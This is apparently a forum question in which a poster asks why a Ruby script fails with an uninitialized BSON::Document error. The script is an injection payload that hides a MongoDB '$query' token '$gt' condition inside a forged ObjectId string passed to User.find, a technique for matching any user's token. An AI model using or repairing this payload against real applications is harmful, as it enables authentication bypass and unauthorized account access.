I'm trying to execute ruby code on ubuntu 14.04 and while executing getting error,
'': uninitialized constant BSON::Document (NameError)
The code is,
#!/usr/bin/ruby
require 'uri'
require 'bson'
require 'mongo'
b = BSON::Document.new
b["$query"] = {"token" => {"$gt"=>""}}
payload = b.to_bson[4..-2]
id_ish = ("\n\n" + "a"*24 + "\n\n")
fake_id = "a"*24 +
"\x02_id\0".unpack('H*')[0] +
[id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" +
payload.unpack('H*')[0]
puts URI.encode(fake_id)
User.find fake_id
I have gone through the documentation, BSON Tutorial
Any idea what i'm missing here. Any pointer would be appreciated.